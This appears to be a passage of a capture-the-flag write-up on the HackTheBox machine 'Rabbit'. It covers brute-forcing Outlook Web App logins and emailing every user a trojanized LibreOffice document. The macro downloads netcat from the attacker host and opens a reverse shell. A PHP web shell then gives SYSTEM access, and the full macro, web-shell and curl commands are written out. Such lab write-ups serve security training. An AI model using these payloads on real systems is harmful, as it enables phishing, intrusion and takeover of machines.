msf6 auxiliary(scanner/http/owa_ews_login) > options

Module options (auxiliary/scanner/http/owa_ews_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   AD_DOMAIN                          no        The Active Directory domain name
   ANONYMOUS_LOGIN   false            yes       Attempt to login with a blank username and password
   AUTODISCOVER      true             no        Automatically discover domain URI
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current da
                                                tabase
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none             no        Skip existing credentials stored in the current databa
                                                se (Accepted: none, user, user&realm)
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target host(s), see https://docs.metasploit.com/do
                                                cs/using-metasploit/basics/using-metasploit.html
   RPORT             443              yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   TARGETURI                          no        The location of the NTLM service
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space
                                                , one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           false            yes       Whether to print output for all attempts


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/http/owa_ews_login) > set USER_FILE /home/user/Hacking/HackTheBox/Machines/Insane/Rabbit/usernames.txt
USER_FILE => /home/user/Hacking/HackTheBox/Machines/Insane/Rabbit/usernames.txt
msf6 auxiliary(scanner/http/owa_ews_login) > set PASS_FILE /home/user/Hacking/HackTheBox/Machines/Insane/Rabbit/passwords.txt
[PASS_FILE => /home/user/Hacking/HackTheBox/Machines/Insane/Rabbit/passwords.txt
msf6 auxiliary(scanner/http/owa_ews_login) > set RHOSTS 10.10.10.71 
RHOSTS => 10.10.10.71
msf6 auxiliary(scanner/http/owa_ews_login) > set TARGETURI /owa
TARGETURI => /owa
msf6 auxiliary(scanner/http/owa_ews_login) > run
[+] Found NTLM service at /ews/ for domain HTB.
[+] 10.10.10.71:443 - Successful login: magnus:xNnWo6272k7x
[+] 10.10.10.71:443 - Successful login: ariel:pussycatdolls
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/owa_ews_login) >

The credentials are as follows:

1
2
magnus:xNnWo6272k7x
ariel:pussycatdolls

Indeed, login as “magnus” was successful:

image.png Fig 14: Successful OWA login as user “magnus”

The emails talk about Open Office software:

image.png Fig 15: Email hint about weaponizing LibreOffice macros

About powershell constrained language mode:

image.png Fig 16: Email snippet detailing PowerShell Constrained Language Mode

And about a TPS report:

image.png Fig 17: Email mention of the “TPS report” social‑engineering pretext

Note how the interface has changed, I find the light version of Outlook Web App the better, so I logged out from my session as “magnus” and in the login screen I selected:

1
[X] Use the light version of Outlook Web App

As you can see below:

image.png Fig 18: OWA light‑version login screen selection

Initial Shell

Summary

I created a LibreOffice “odt” file containing malicious macros, and sent it as an attachment to everyone in the mail list, hoping any of them would open it. That ultimately granted me a foothold in the machine as local user “raziel”.

Details

I knew about macros in LibreOffice documents from previous machines, and all the hints in the mail inbox made the attack path straight forward to me. So I fired up the application, creating a new blank document:

image.png Fig 19: Blank LibreOffice document ready for macro creation

I head to Tools &gt; Macros &gt; Organize Macros &gt; Basic..., and a window pops like this:

image.png Fig 20: “Organize Macros” dialog in LibreOffice

I select my document, and click New:

image.png Fig 21: New macro name prompt for naming the macro “tps”

A window pops asking me to name my macro, “tps” looks just fine. Not suspicious at all. Upon naming my macro, another window pops:

image.png Fig 22: Macro editor window showing the certutil + nc.exe payload

Here’s where it gets tricky. Let me tell you right now, I tried a bunch of things.

  • I created a windows/meterpreter/reverse_tcp portable executable;

  • I grabbed a copy of a benign executable, like “nmap.exe” in my case, and injected malware in it with Shellter;

  • Changed ports, instead of using an uncommon port like 4444, to use something more covert like 53 (dns);

  • Changed payloads;

  • Powershell payload to get a reverse shell.

None of this worked for me. I wanted a meterpreter session badly, because I know the machine is very old (windows server 2008) and likely vulnerable to old bugs, and a meterpreter session would make things a lot easy. After getting a shell as NT Authority System later, I enumerated the system further to discover that there is no AV running, and I can run (suspicious) executables just fine like winPEASx86.exe (notoriously flagged as malicious by AV vendors) or even the normal nmap-x86 version just fine, but running my executable with meterpreter in it, it’s a no-no. Wonder why. It gets automatically deleted right away as well.

Anyways, back to the macro.

This is the full macro that worked for me:

1
2
3
4
5
REM  *****  BASIC  *****

Sub Main
	Shell("cmd.exe /c certutil.exe -f -split -urlcache  http://10.10.14.5/nc.exe C:\Windows\Temp\nc.exe && C:\Windows\Temp\nc.exe 10.10.14.5 443 -e cmd.exe")
End Sub

Obviously, be sure to get a copy of the netcat executable from the static-binaries github repository and let it sit waiting for the macro to trigger alongside a python simple webserver (grab ncat binary from repository, rename it as nc.exe, run the command below in the same folder):

1
sudo python3 -m http.server 80

And also, a netcat on your local machine waiting for the reverse shell connection:

1
sudo rlwrap nc -lvnp 443

This is how it looks now with our beautiful macro:

image.png Fig 23: Document UI displaying the embedded macro code

Save the document hitting Ctrl + S and you can close the macro window.

Back to the main document window, head to Tools &gt; Macros &gt; Organize Macros &gt; Basic... again but this time, select the macro and click “Assign…”:

image.png Fig 24: “Assign Macro” dialog for binding the macro to events

Assign the macro to a couple of events that will certainly happen when the user decides to read our document. For instance, the “Start application” event. Select it, hit “Macro…” on the right and select the proper macro:

image.png Fig 25: Event selection list with “Start Application” and “Open Document” checked

Just to make sure I added these two events (Start Application and Open Document):

image.png Fig 26: OWA “New Message” compose interface

Hit “OK”, then “Close”, and save the document once again with Ctrl + S.

With the weaponized TPS report in hands, I proceeded to email it to everyone. I clicked on the “New Message” button at the top in the OWA interface:

image.png Fig 27: OWA address book “To…” dialog listing all users

In this tab, I clicked on “To…”:

image.png Fig 28: Selecting all recipients in the OWA address book

I selected everyone, and hit the button “To ->”:

image.png Fig 29: Confirmed recipients list showing everyone added

Everyone should be selected:

image.png Fig 30: OWA “Attach” button highlighted in the compose window

Click on “Done” at the top. Back to the main page, hit “attachments”:

image.png Fig 31: File picker dialog for choosing the trojanized document

Browse for the trojanized doc file on the left, hit “Attach” and then hit “Done” at the top:

image.png Fig 32: Attachment preview showing the weaponized TPS report in the email

Fill in some fields and click on the “Send” button at the top:

image.png Fig 33: OWA “Send” button ready to deliver the malicious document

After a few minutes I received the connection in my http server:

1
2
3
4
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...                         
10.10.10.71 - - [01/May/2025 20:58:12] "GET /nc.exe HTTP/1.1" 200 -              
10.10.10.71 - - [01/May/2025 20:58:16] "GET /nc.exe HTTP/1.1" 200 -

And the connection in my netcat listener:

1
2
3
4
5
6
7
$ sudo rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.71] 60401
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Program Files\LibreOffice\program>

Privilege Escalation

Summary

With a macro shell landing us as raziel, we probed for writable web roots and found C:\wamp64\www\complain wide‑open. Dropping a one‑liner PHP web‑shell let us execute commands as the Wamp service – which, because of lazy config, ran as SYSTEM. A single whoami later, we were at the top of the food chain.

Details

Blindly, I went straight to what I already knew: there are multiple web servers running in the machine. There might be misconfigurations in place that allow me to take over the user running them. Perhaps I have write access to a folder where I can place a malicious script in it to obtain RCE as the user running the web server. This happened before to me. I located the web directory for IIS under C:\inetpub:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\inetpub>dir 
dir 
 Volume in drive C has no label.
 Volume Serial Number is AEA8-5415

 Directory of C:\inetpub

10/24/2017  01:37 PM    <DIR>          .
10/24/2017  01:37 PM    <DIR>          ..
10/24/2017  01:37 PM    <DIR>          custerr
11/15/2017  03:53 PM    <DIR>          history
10/24/2017  01:37 PM    <DIR>          logs
10/24/2017  01:37 PM    <DIR>          temp
10/28/2017  09:55 AM    <DIR>          wwwroot
               0 File(s)              0 bytes
               7 Dir(s)  24,478,056,448 bytes free

In wwwroot folder would be the ideal place to put the malicious script as these are the files we can access from the outside, that will be processed by the server (in theory):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
C:\inetpub\wwwroot>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is AEA8-5415

 Directory of C:\inetpub\wwwroot

10/28/2017  09:55 AM    <DIR>          .
10/28/2017  09:55 AM    <DIR>          ..
10/24/2017  01:38 PM    <DIR>          aspnet_client
10/24/2017  01:37 PM               689 iisstart.htm
10/28/2017  10:04 AM                75 web.config
10/24/2017  01:37 PM           184,946 welcome.png
               3 File(s)        185,710 bytes
               3 Dir(s)  24,478,056,448 bytes free

I got a simple aspx webshell, tried to download it to the wwwroot folder but got permission denied:

1
2
3
4
5
6
7
8
9
10
C:\inetpub\wwwroot>powershell iwr -uri 10.10.14.5/shell.aspx -outfile shell.aspx
powershell iwr -uri 10.10.14.5/shell.aspx -outfile shell.aspx
iwr : Access to the path 'C:\inetpub\wwwroot\shell.aspx' is denied.
At line:1 char:1
+ iwr -uri 10.10.14.5/shell.aspx -outfile shell.aspx
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [Invoke-WebRequest], Unauthori 
   zedAccessException
    + FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.Pow 
   erShell.Commands.InvokeWebRequestCommand

I tried other folders too, but that has no future. I proceeded to locate the folder for the wampp suite (php is running, as seen when exploiting Complain earlier). I located it at C:\wamp64:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
C:\inetpub\wwwroot>dir C:\
dir C:\
 Volume in drive C has no label.
 Volume Serial Number is AEA8-5415

 Directory of C:\

10/24/2017  01:37 PM    <DIR>          inetpub
07/13/2009  11:20 PM    <DIR>          PerfLogs
03/21/2025  01:04 AM    <DIR>          Program Files
11/14/2017  04:40 PM    <DIR>          Program Files (x86)
05/01/2025  04:03 PM    <DIR>          temp
10/29/2017  10:05 AM    <DIR>          Users
10/28/2017  11:13 AM    <DIR>          wamp64
03/21/2025  01:04 AM    <DIR>          Windows
               0 File(s)              0 bytes
               8 Dir(s)  24,477,982,720 bytes free

I created a simple PHP webshell:

1
<?php echo exec($_POST['cmd']); ?>

And under C:\wamp64\www\complain, I used powershell IWR to grab the shell:

1
2
C:\wamp64\www\complain>powershell iwr -uri 10.10.14.5/shell.php -outfile shell.php
powershell iwr -uri 10.10.14.5/shell.php -outfile shell.php

Turns out I have write access to this folder, so the shell is available in the webserver (8080 is the port this time, as port 80 and 443 are bind to IIS). I used curl to run commands as NT Authority System (jackpot!):

1
2
$ curl 10.10.10.71:8080/complain/shell.php -X POST --data 'cmd=whoami'
nt authority\system

To get a privileged reverse shell, I used the same netcat binary from earlier:

1
$ curl 10.10.10.71:8080/complain/shell.php -X POST --data 'cmd=C:\windows\temp\nc.exe 10.10.14.5 443 -e powershell.exe'

And received the connection back in my machine:

1
2
3
4
5
6
7
8
$ sudo rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.71] 33994
Windows PowerShell 
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\wamp64\www\complain> whoami
nt authority\system

At this point, lateral movement or domain escalation wasn’t necessary — SYSTEM was the crown jewel.

Conclusion

Rabbit had dusty legacy services, forgotten web apps, and “that’ll never get exploited” misconfigurations. From poking at IIS and stumbling across that rickety Complain portal, to pulling creds via classic SQL-i and slipping into OWA, every step built on the last with satisfying momentum. The macro payload was the pièce de résistance — so old-school it hurt — and it landed perfectly, netting us the foothold we needed. One writable Wamp directory later, and SYSTEM was ours.

What made this box sing wasn’t any single exploit, but how neatly each piece dovetailed into the next. Enumeration wasn’t just important — it was the entire storyline. That’s the beauty of boxes like this: not just finding the rabbit hole, but diving in headfirst, mapping the tunnels, and knowing exactly when to dig.

TL;DR — never underestimate legacy. Never ignore a weird CMS. And always, always follow the rabbits.

This post is licensed under CC BY 4.0 by the author.